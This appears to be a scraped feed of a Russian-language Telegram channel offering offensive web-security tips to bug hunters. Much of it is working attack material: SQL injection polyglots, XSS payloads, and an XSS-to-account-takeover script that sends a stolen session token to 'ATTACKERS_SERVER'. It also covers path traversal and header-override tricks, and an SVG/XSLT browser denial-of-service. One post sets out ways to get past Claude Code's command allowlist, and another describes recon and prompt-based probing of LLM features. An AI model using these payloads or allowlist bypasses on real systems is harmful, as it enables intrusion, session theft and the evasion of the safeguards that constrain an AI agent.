Первичный анализ любого APK-файла: советы багхантеру 📞
Если в скоуп багбаунти-программы входят мобилки — никогда не проходи мимо. Вот основные шаги перед началом анализа исходников:
1️⃣ Проверка подлинности и целостности APK
Прежде чем тратить время на анализ, убедись, что код подлинный:
Команда выводит отпечаток сертификата подписи — сравни его с официальной версией.
2️⃣ Распаковка и анализ структуры APK с помощью APKTool
APKTool разбирает APK на читаемые компоненты: манифест с разрешениями и компонентами, ресурсы интерфейса и конфигурации, а также Smali-код — представление логики приложения на уровне байткода.
3️⃣ Распаковка APK
В результате появится структура:
⚫️ AndroidManifest.xml — декларация компонентов, разрешений и настроек
⚫️ res/ — ресурсы интерфейса, строки, XML-конфигурации
⚫️ smali/ — дизассемблированный байткод
⚫️ lib/ — нативные библиотеки под разные архитектуры
⚫️ assets/ — дополнительные файлы: базы данных, конфиги, медиа
4️⃣ Извлечение полезной информации из ресурсов
Ресурсы часто раскрывают больше, чем планировали разработчики. Изучай
Пример:
Такие эндпоинты часто защищены слабее прода. Нередко они принимают боевые токены или допускают обход аутентификации.
5️⃣ Автоматический парсинг URL
Вместо ручного просмотра используй apk2url:
Тулза автоматически парсит все URL из кода и ресурсов, формируя список потенциальных API-точек для дальнейшего исследования.
Теперь ты понимаешь структуру приложения: его компоненты, разрешения и точки взаимодействия с сетью. Но структура не показывает логические ошибки и реальное поведение кода — для этого нужно разбираться в реализации💡
Если в скоуп багбаунти-программы входят мобилки — никогда не проходи мимо. Вот основные шаги перед началом анализа исходников:
Прежде чем тратить время на анализ, убедись, что код подлинный:
apksigner verify --print-certs target.apk
Команда выводит отпечаток сертификата подписи — сравни его с официальной версией.
APKTool разбирает APK на читаемые компоненты: манифест с разрешениями и компонентами, ресурсы интерфейса и конфигурации, а также Smali-код — представление логики приложения на уровне байткода.
Прежде чем читать код, нужно понять архитектуру приложения. Какие компоненты доступны извне? Какие разрешения запрашиваются? Какие ресурсы могут утекать? APKTool отвечает на эти вопросы.
apktool d target.apk -o target_unpacked
В результате появится структура:
Ресурсы часто раскрывают больше, чем планировали разработчики. Изучай
res/values/strings.xml, res/xml/ и другие файлы — туда нередко попадают staging-серверы, dev-эндпоинты и внутренние API.Пример:
<string name="api_base_url">https://api-staging.target.com</string>
<string name="debug_endpoint">https://internal-admin.target.com</string>
Такие эндпоинты часто защищены слабее прода. Нередко они принимают боевые токены или допускают обход аутентификации.
Вместо ручного просмотра используй apk2url:
git clone https://github.com/n0mi1k/apk2url
./apk2url.sh /path/to/target.apk
Тулза автоматически парсит все URL из кода и ресурсов, формируя список потенциальных API-точек для дальнейшего исследования.
Теперь ты понимаешь структуру приложения: его компоненты, разрешения и точки взаимодействия с сетью. Но структура не показывает логические ошибки и реальное поведение кода — для этого нужно разбираться в реализации
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤6👍6
Recon в веб-приложениях с поддержкой AI 😵
AI встраивается в приложения повсеместно. Старые багбаунти-программы стоит пересматривать с фокусом на LLM-фичи — эти поверхности атаки пока слабо изучены.
Начинать стоит с разведки: понять, как именно интегрирована модель и какие точки взаимодействия действительно доступны.
1️⃣ Используй приложение в штатном режиме и составь карту его поведения
Документация, changelog-и, ответы и сообщения об ошибках помогают идентифицировать модель и выявить кастомную логику.
2️⃣ Проверь рендеринг Markdown
Если приложение поддерживает Markdown, проверь, рендерит ли оно HTML или ссылки на изображения. Обращение модели к твоему серверу может привести к утечке сессионных данных или внутренних параметров.
3️⃣ Внедряй пэйлоад в нетипичных местах
Например, в имени пользователя. Некоторые модели отражают эти данные в ответах, особенно если контекст переиспользуется между сессиями или тредами.
4️⃣ Применяй социальную инженерию к модели
Спроси, что она умеет, оформив вопрос как легитимный пользовательский запрос — часто она сама подробно рассказывает о своём функционале.
💡 LLM всё чаще встраивают во флоу поддержки. Старые данные разведки стоит перепроверить по ключевым словам вроде
AI встраивается в приложения повсеместно. Старые багбаунти-программы стоит пересматривать с фокусом на LLM-фичи — эти поверхности атаки пока слабо изучены.
Начинать стоит с разведки: понять, как именно интегрирована модель и какие точки взаимодействия действительно доступны.
Документация, changelog-и, ответы и сообщения об ошибках помогают идентифицировать модель и выявить кастомную логику.
Если приложение поддерживает Markdown, проверь, рендерит ли оно HTML или ссылки на изображения. Обращение модели к твоему серверу может привести к утечке сессионных данных или внутренних параметров.
Например, в имени пользователя. Некоторые модели отражают эти данные в ответах, особенно если контекст переиспользуется между сессиями или тредами.
Спроси, что она умеет, оформив вопрос как легитимный пользовательский запрос — часто она сама подробно рассказывает о своём функционале.
contact us.Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤4
Path traversal через внутреннюю переадресацию API 🎆
В микросервисных приложениях фронт или gateway часто не обрабатывают запрос самостоятельно, а проксируют его во внутренний API. Именно здесь появляется нетривиальная поверхность атаки.
Как это выглядит⤵️
Пользователь отправляет POST-запрос
Сервер берет
Если путь к внутреннему API формируется из пользовательского ввода, пробуем path traversal:
В итоге бэкенд может обратиться к:
На выходе:
➡️ Обход роутинга
➡️ Доступ к внутренним или привилегированным эндпоинтам
➡️ Без прямого доступа к бэкенду
Даже если сервер не возвращает полный ответ от внутреннего API, многие приложения всё равно отдают коды статуса, флаги успешности или общие сообщения вроде
В более продвинутых кейсах внутренний API может обладать более высокими привилегиями или доступом к ограниченным эндпоинтам.
Как и при эксплуатации SSRF, ты используешь приложение в качестве прокси для обращения к внутренним сервисам — но уже через манипуляцию путями, а не через контроль URL.
Такой внутренний path traversal становится ещё опаснее, если его цеплять с уязвимостями вроде IDOR(для определения валидных путей к ресурсам) или с ошибочно настроенным контролем доступа (для эксплуатации внутренних ролей или токенов) .
В конечном счете ты эксплуатируешь не файловую систему напрямую — ты перехватываешь логику бэкенда, заставляя его перемещаться по внутренним API-роутам способами, на которые он не был рассчитан.
В микросервисных приложениях фронт или gateway часто не обрабатывают запрос самостоятельно, а проксируют его во внутренний API. Именно здесь появляется нетривиальная поверхность атаки.
Как это выглядит
Пользователь отправляет POST-запрос
/edit_user:{
"user_id": "456",
"username": "poc"
}Сервер берет
user_id и собирает внутренний запрос:POST /api/v1/users/456
Если путь к внутреннему API формируется из пользовательского ввода, пробуем path traversal:
{
"user_id": "../../admin/roles",
"username": "poc"
}В итоге бэкенд может обратиться к:
/api/v1/admin/roles
На выходе:
Даже если сервер не возвращает полный ответ от внутреннего API, многие приложения всё равно отдают коды статуса, флаги успешности или общие сообщения вроде
Permission denied. В более продвинутых кейсах внутренний API может обладать более высокими привилегиями или доступом к ограниченным эндпоинтам.
Как и при эксплуатации SSRF, ты используешь приложение в качестве прокси для обращения к внутренним сервисам — но уже через манипуляцию путями, а не через контроль URL.
Такой внутренний path traversal становится ещё опаснее, если его цеплять с уязвимостями вроде IDOR
В конечном счете ты эксплуатируешь не файловую систему напрямую — ты перехватываешь логику бэкенда, заставляя его перемещаться по внутренним API-роутам способами, на которые он не был рассчитан.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤12🔥7
SQL Injection Polyglots 💨
Полиглот-пэйлоады — это способ проверить несколько вариантов одной уязвимости одним запросом. Полезно на этапе ресерча: экономит время и быстро дает сигнал, есть ли вообще точка инъекции.
Суть простая: вместо отдельных запросов без кавычек, с одинарными и двойными кавычками, используем один пэйлоад, который «выживает» во всех контекстах.
➡️ Минимальный пример, известный ещё с Ruxcon
➡️ Другой пример с BlackHat
➡️ MariaDB/MySQL: всего 6 байт
➡️ SQLite
Двойные кавычки в SQLite можно использовать как для строковых литералов, так и для идентификаторов, в отличие от MariaDB/MySQL, которая всегда обрабатывает их как строковые литералы.
➡️ MariaDB/MySQL + SQLite
Для полиглота, работающего с одинарными и двойными кавычками как в SQLite, так и в MariaDB/MySQL, можно использовать следующий код:
Для того чтобы полиглот работал и без кавычек, используется оператор
Полиглот-пэйлоады — это способ проверить несколько вариантов одной уязвимости одним запросом. Полезно на этапе ресерча: экономит время и быстро дает сигнал, есть ли вообще точка инъекции.
Суть простая: вместо отдельных запросов без кавычек, с одинарными и двойными кавычками, используем один пэйлоад, который «выживает» во всех контекстах.
AND 1=0 --' AND 1=0 --" AND 1=0 --
OR 1#"OR"'OR''='"="'OR''='
'='"="
'<>'"<>"
Двойные кавычки в SQLite можно использовать как для строковых литералов, так и для идентификаторов, в отличие от MariaDB/MySQL, которая всегда обрабатывает их как строковые литералы.
Для полиглота, работающего с одинарными и двойными кавычками как в SQLite, так и в MariaDB/MySQL, можно использовать следующий код:
'OR'1"OR"1
Для того чтобы полиглот работал и без кавычек, используется оператор
+ для исправления синтаксических ошибок, а затем добавляется =0 для получения истинного результата.'OR'+1+"OR"+1=0
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤17❤🔥3👍1
XSS → ATO через Server Size Errors Gadgets 💣
Если ты нашел XSS, но⤵️
У серверов есть ограничения на объём данных, которые они готовы обработать:
⚫️ 414 URI Too Long — URL превышает допустимую длину
⚫️ 431 Request Header Fields Too Large — заголовки (чаще всего Cookie) слишком большие
➡️ Атака через 414
Сценарий
При переходе между брендами одной компании сессионный токен передаётся через URL:
Ключевое допущение системы — редирект всегда дойдёт до конца.
Эксплуатация
1. XSS на
2. URL намеренно раздувается мусорными символами
3. Сервер добавляет
4. Итоговая длина превышает лимит
5. Сервер возвращает 414, редирект обрывается
6. JavaScript читает
Итог: XSS → утечка session token → ATO
➡️ Атака через 431
Если управлять URL нельзя, можно атаковать через заголовки.
Пример логики
1. Middleware на каждый запрос добавляет служебную Cookie
2. XSS удаляет её и создаёт несколько больших Cookies
3. На следующем запросе middleware добавляет свою Cookie обратно
4. Общий размер Cookie превышает лимит сервера
5. Сервер отвечает 431
6. Редирект обрывается → токен остаётся в URL → утечка
Снова: ошибка сервера → обрыв логики → токен доступен JS
Если ты нашел XSS, но
HttpOnly не даёт читать cookie и явных путей к ATO нет, стоит проверить ещё один нестандартный вектор — эскалацию через серверные лимиты У серверов есть ограничения на объём данных, которые они готовы обработать:
Сами по себе это не уязвимости. Но в связке с XSS и URL-based auth они превращаются в интересный вектор.
Сценарий
При переходе между брендами одной компании сессионный токен передаётся через URL:
1-brand.com → генерирует token → редирект на 2-brand.com?token=XXX → логин
Ключевое допущение системы — редирект всегда дойдёт до конца.
Эксплуатация
1. XSS на
1-brand.com позволяет управлять параметром url2. URL намеренно раздувается мусорными символами
3. Сервер добавляет
?token=...4. Итоговая длина превышает лимит
5. Сервер возвращает 414, редирект обрывается
6. JavaScript читает
response.url → токен у атакующегоИтог: XSS → утечка session token → ATO
<script>
const u = "https://1-brand.com/s/Sites-1-brand-Site/dw/shared_session_redirect?url=https://1-brand.com/";
const r = await fetch(u + "A".repeat(1912));
const t = new URLSearchParams(r.url).get("token");
console.log("session token = " + t);
fetch("http://ATTACKERS_SERVER/"+t);
</script>
Если управлять URL нельзя, можно атаковать через заголовки.
Пример логики
1. Middleware на каждый запрос добавляет служебную Cookie
2. XSS удаляет её и создаёт несколько больших Cookies
3. На следующем запросе middleware добавляет свою Cookie обратно
4. Общий размер Cookie превышает лимит сервера
5. Сервер отвечает 431
6. Редирект обрывается → токен остаётся в URL → утечка
Снова: ошибка сервера → обрыв логики → токен доступен JS
<script>
document.cookie = "UserExperience=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;";
document.cookie = "x="+"A".repeat(4095);
document.cookie = "y="+"B".repeat(4027);
const e = await fetch("http://localhost:8000/share_redirect", { credentials: "include"});
const r = new URL(e.url);
const t = r.searchParams.get("token");
console.log("secret = " + t);
</script>
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤17🤯6🔥3👍2
Нашел XSS, но тебя блочит Content Security Policy ❓
На cspbypass ты найдешь полную коллекцию рабочих кейсов по обходу политики защиты контента.
Сервис поможет найти любые задокументированные эндпоинты JSONP для достижения XSS⤵️
На cspbypass ты найдешь полную коллекцию рабочих кейсов по обходу политики защиты контента.
Сервис поможет найти любые задокументированные эндпоинты JSONP для достижения XSS
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15🔥5
Account Takeover через QR-код 👀
Во многих мобильных приложениях есть удобная фича: вход через QR-код. Без email и пароля. Навёл камеру — вошёл. И именно здесь неправильная реализация может привести к ATO.
🔍 Типичный кейс:
QR-код можно отсканировать сторонним приложением → в ответ возвращается ссылка с токеном авторизации:
🔓 Как показать импакт:
1️⃣ Ссылку с токеном отправляешь жертве через мессенджер
2️⃣ Жертва открывает её со своего телефона → сессия автоматически подтверждается
3️⃣ Сессия жертвы привязывается к браузеру атакующего без дополнительных проверок
Итог: полный account takeover, реализованный только через QR-login, в один клик🚨
Во многих мобильных приложениях есть удобная фича: вход через QR-код. Без email и пароля. Навёл камеру — вошёл. И именно здесь неправильная реализация может привести к ATO.
QR-код можно отсканировать сторонним приложением → в ответ возвращается ссылка с токеном авторизации:
https://app.com/token/...
Итог: полный account takeover, реализованный только через QR-login, в один клик
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔14🤝5❤1👍1
X-HTTP-Method-Override: один заголовок — разные классы багов 💨
Заголовок X-HTTP-Method-Override до сих пор поддерживается многими бэкенд-фреймворками — из соображений обратной совместимости. Разберём типовые кейсы⤵️
1️⃣ Broken Function Level Authorization
Типовой кейс: пользователь может читать, удалять — только админ.
Проверка:
✅ Отправляешь
✅ Добавляешь
Если бэкенд доверяет заголовку больше, чем реальному HTTP-методу — получишь выполнение запрещённого действия без нужных прав.
2️⃣ Cache Poisoning
Если сервер учитывает
✅ Перебирай все HTTP-методы через override
✅ Смотри, какой вариант уходит в кеш
Можно получить:
🟠 Неконсистентные ответы
🟠 Кешированное состояние с повышенными правами
🟠 Неожиданные побочные эффекты для других пользователей
3️⃣ Vertical Privilege Escalation
Классический сценарий: employee → manager / admin. Даже если роут защищён по ролям, middleware проверяет HTTP-метод.
Ошибка возникает, когда:
🟠 ACL смотрит на
🟠 Бизнес-логика исполняет
4️⃣ Байпас JWT аутентификации
В официальном advisory от Google Cloud Platform описан показательный баг в Extensible Service Proxy v2:
🟠 ESPv2 корректно проверял оригинальный HTTP-метод
🟠 Бэкенд-апстрим обрабатывал метод из X-HTTP-Method-Override
🟠 В результате — рассинхронизация авторизации и исполнения
Заголовок X-HTTP-Method-Override до сих пор поддерживается многими бэкенд-фреймворками — из соображений обратной совместимости. Разберём типовые кейсы
Типовой кейс: пользователь может читать, удалять — только админ.
Проверка:
GETX-HTTP-Method-Override: DELETEЕсли бэкенд доверяет заголовку больше, чем реальному HTTP-методу — получишь выполнение запрещённого действия без нужных прав.
Если сервер учитывает
X-HTTP-Method-Override, и при этом кеширует ответы, обязательно:Можно получить:
Классический сценарий: employee → manager / admin. Даже если роут защищён по ролям, middleware проверяет HTTP-метод.
Ошибка возникает, когда:
GETDELETE / PUT из override-заголовка.В официальном advisory от Google Cloud Platform описан показательный баг в Extensible Service Proxy v2:
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6🔥5❤2🤔2
Если закрывающий HTML-тег не соответствует формату
</[A-Za-z] (например, </~), браузеры переходят в состояние Bogus Comment и игнорируют всё до следующего символа >.<? ведёт себя точно так же из-за устаревшей совместимости с PHP/XML. Это значит, что такие XSS-атаки вполне возможны:</ <a href="><svg/onload=alert(1)>">
<?<a href="><svg/onload=alert(2)>">
✍14👍9❤2
Command injection в Claude Code: извлекаем правильные уроки 🤖
Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях⤵️
Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде
1️⃣ Опасные флаги в «безопасных» командах
🧡
🧡
🧡
2️⃣ Сокращение аргументов в Git
🧡 Git автоматически дополняет сокращённые флаги:
🧡 Regex-фильтры проверяют точные имена флагов
🧡
3️⃣ Различная интерпретация аргументов команды
🧡
🧡 В итоге
4️⃣ Расширение prompt в Bash
Модификатор
В сочетании с присваиванием
💬 Какой вывод можно сделать?
Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.
Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.
И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.
Исследователь из Flatt Security нашел 8 способов обхода белых списков команд в Claude Code. Его подход можно и нужно использовать при поиске багов в веб-приложениях
Под капотом Claude Code использовал регулярные выражения, которые разрешали «безопасные» команды вроде
man, sort, sed, xargs. Каждый обход эксплуатировал одно из следующих свойств:man --html='touch /tmp/pwned' man — флаг --html задаёт рендерер, который выполняет произвольные командыsort --compress-program=/bin/sh — флаг утилиты сжатия принимает исполняемые файлыecho test | sed 's/test/touch \/tmp\/pwned/e' — модификатор e выполняет shell-команды.--upload-pa превращается в --upload-packgit ls-remote --upload-pa='...' обходит блокировку --upload-packxargs -t touch echo — regex считает, что -t обрабатывает следующий аргумент, но -t является логическим значениемtouch становится исполняемой командой, а не аргументом для -techo ${one="$"}${two="$one(touch /tmp/pwned)"}${two@P}Модификатор
@P интерпретирует переменную как строку промпта, который поддерживает подстановку команд. В сочетании с присваиванием
$ это позволяет вырваться из ограниченных контекстов, например при установке переменной one в $.Любой контроль, основанный на проверке строк или «разрешённых значений», часто ломается на реальном поведении системы.
Если приложение фильтрует параметры, команды, пути, роли или действия через regex, списки допустимых значений или «безопасные» флаги — ищи расхождение между тем, что проверяет код, и тем, как это интерпретирует движок дальше.
И да: всегда читай документацию целиком. Большинство обходов лежат в man-страницах и спецификациях — просто до них никто не дошёл.
Please open Telegram to view this post
VIEW IN TELEGRAM
🤔7❤6
Санитайзеры могут разрешать ⤴️
Маскируем XSS-пэйлоад в виде списка URL-адресов💨
https://, считая это автоссылкой Markdown. Но если рендерится как сырой HTML вместо тега якоря — перед тобой вектор XSS Маскируем XSS-пэйлоад в виде списка URL-адресов
<https://site.com/x?v1/onfocus=alert().jpg
https://site.com/x?v1/autofocus=1.jpg
https://site.com/x?v1/tabindex=1.jpg>
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14❤2👌2
Двусмысленность лексера JavaScript на практике 🤔
Некоторые ключевые слова в JS ожидают выражение. Если после них стоит
Следующий
Некоторые ключевые слова в JS ожидают выражение. Если после них стоит
/, движок трактует это как начало regex.Следующий
/ закрывает регулярку, а ещё один / уже воспринимается как оператор деления — и правая часть выполняется:<script>
delete/delete; //alert(1)
typeof/typeof; //alert(2)
void/void; //alert(3)
throw/throw; //alert(4)
</script>
Please open Telegram to view this post
VIEW IN TELEGRAM
🤯13🔥7❤🔥3
Как заруинить Chrome пользователя: client-side DoS в Chrome через SVG и XSLT 💨
В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.
Внутри SVG размещается XSLT с большим количеством вложенных
⚫️ Начинает активно потреблять память
⚫️ Постепенно замедляет вкладку
⚫️ Через несколько секунд приводит к зависанию или крашу вкладки (иногда браузера целиком)
Атака возможна, если:
➡️ Браузер основан на Blink (Chrome, Edge и др.)
➡️ есть возможность указать удалённое SVG-изображение
➡️ SVG загружается через img или background-image (можно использовать и другие HTML-теги/атрибуты или свойства CSS)
➡️ Отсутствует фильтрация типа контента или SVG
Типичный сценарий — HTML/CSS injection с контролем URL изображения.
Практическая применимость
✅ Client-side DoS и деградация UX
✅ Атаки на публичные страницы: профили, комментарии, ленты
✅ Проверка нестандартных векторов при HTML/CSS injection
Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак🤔
В рендер-движке Blink SVG, загружаемые как статические изображения, поддерживают XSLT-трансформации. Этим можно злоупотребить для client-side DoS.
Внутри SVG размещается XSLT с большим количеством вложенных
<xsl:for-each>. При рендеринге браузер:Атака возможна, если:
<img src="./dos.svg">
<div style="background-image: url('./dos.svg')">dos</div>
Типичный сценарий — HTML/CSS injection с контролем URL изображения.
Практическая применимость
Подобные кейсы расширяют понимание поверхности атаки и помогают находить неочевидные client-side векторы, которые могут стать частью более сложных цепочек атак
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥7👍3❤1